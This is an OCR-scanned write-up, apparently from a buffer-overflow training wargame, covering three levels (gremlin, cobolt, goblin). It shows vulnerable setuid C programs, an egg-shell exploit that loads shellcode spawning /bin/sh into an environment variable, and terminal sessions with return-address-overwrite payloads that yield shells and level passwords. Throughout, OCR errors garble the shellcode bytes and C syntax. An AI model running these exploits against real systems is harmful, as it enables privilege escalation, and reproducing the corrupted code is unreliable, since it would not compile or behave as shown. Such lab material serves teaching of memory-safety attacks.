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[gate@localhost gatel$ Is -1

total 20
—“rwsSr—sr-x 1 gremlin gremlin 11987 Feb 26 14:28 gremlin
“IrW-rw-—r—— 1 gate gate 187 Feb 26 14:28 gremlin.c
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int main(int argc, char *argv|[])
{
char buffer[256];
if(arge<2){
printf("argv errorwn");
exit(0);
}
strepy(buffer, argv[1]);
printf("%sWn", buffer);
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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 256
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"Wx31WxcOWxbOWx31WxcdWx80Wx89Wxc3Wx89IWxc1Wx31WxcOWxbOWx46Wxcd
Wx80" //setuid(geteuid())
"WxebWx1{fWxbeWx89Wx76Wx08Wx31WxcOWx88Wx46Wx07TWx89Wx46Wx0cWxb0
Wx0b"
"Wx89Wxf3Wx8dWx4eWx08Wx8dWx56Wx0cWxcdWx80Wx31WxdbWx89Wxd8Wx40
Wxcd"

"Wx80W xe8WxdcWxffWxffWxff/bin/sh";

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");

}

int main(int argc, char #*argv)

{

char «puff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int 1, eggsize=DEFAULT_EGG_SIZE,;

if ( argc > 1 ) bsize = atoilargv[1]);
if (argc > 2 ) offset = atoi(argv[2]);
if (argc > 3 ) eggsize = atoilargv[3]);

if ( !(buff = malloc(bsize)))
{

printf("Can't allocate memory for bsizeWn");



exit(0);
}

if ( !(egg = malloc(eggsize)))
{
printf("Can't allocate memory for eggsize");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: O0x%xWn", addr);

ptr = buff;

addr_ptr = (long *)ptr;
for(i = 0; i < bsize; i+= 4)
*(addr_ptr++) = addr;

ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for(G = 0; i < strlen(shellcode); i++)

#(ptr++) = shellcodelil;

buff[bsize = 1] = "WO0';
eggleggsize - 1] = 'WO0'

memcpy(egg, "EGG=", 4);
putenv(egg);
memcpy(buff, "RET=", 4);
putenv(buff);
system("/bin/bash2");
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[gate@localhost tmpl$ .Jegg
Using address: Oxbffffb28

A3 3 eggshells AFsAHY F4 ghs wrshel] ot
= A TS VeeR 45 s "k
[gate@localhost gate]$ Jgremlin * python -c 'print "A"%260 +

"Wx28WxfbWxffWxbf"'"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ?

bash$ id

uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)

bash$ my-pass

euid = 501
hello bof world
bash$

Level2. cobolt

[gremlin@localhost tmpl$ ./egg

Using address: Oxbffffb18

[gremlin@localhost tmpl$ cd ..

[gremlin@localhost gremlin]$ ./cobolt *python -c 'print "A"%20 +
"Wx18WxfbWxffWxbf"'"

AAAAAAAAAAAAAAAAAAAA?

bash$ id

uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass

euid = 502

hacking exposed

bash$



Level3. goblin

int main()

{
char buffer[161];
gets(buffer);
printf("%sWn", buffer);
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[cobolt@localhost tmpl$ ./eggshell

Using address: Oxbffffb18

[cobolt@localhost cobolt]$ (python -c 'print "A"#20 + "Wx18WxfbWxffWxbf";cat) |
./goblin

AAAAAAAAAAAAAAAAAAAA?

id
uid=503(goblin) gid=502(cobolt) egid=503(goblin) groups=502(cobolt)

my-pass
euid = 503

hackers proof



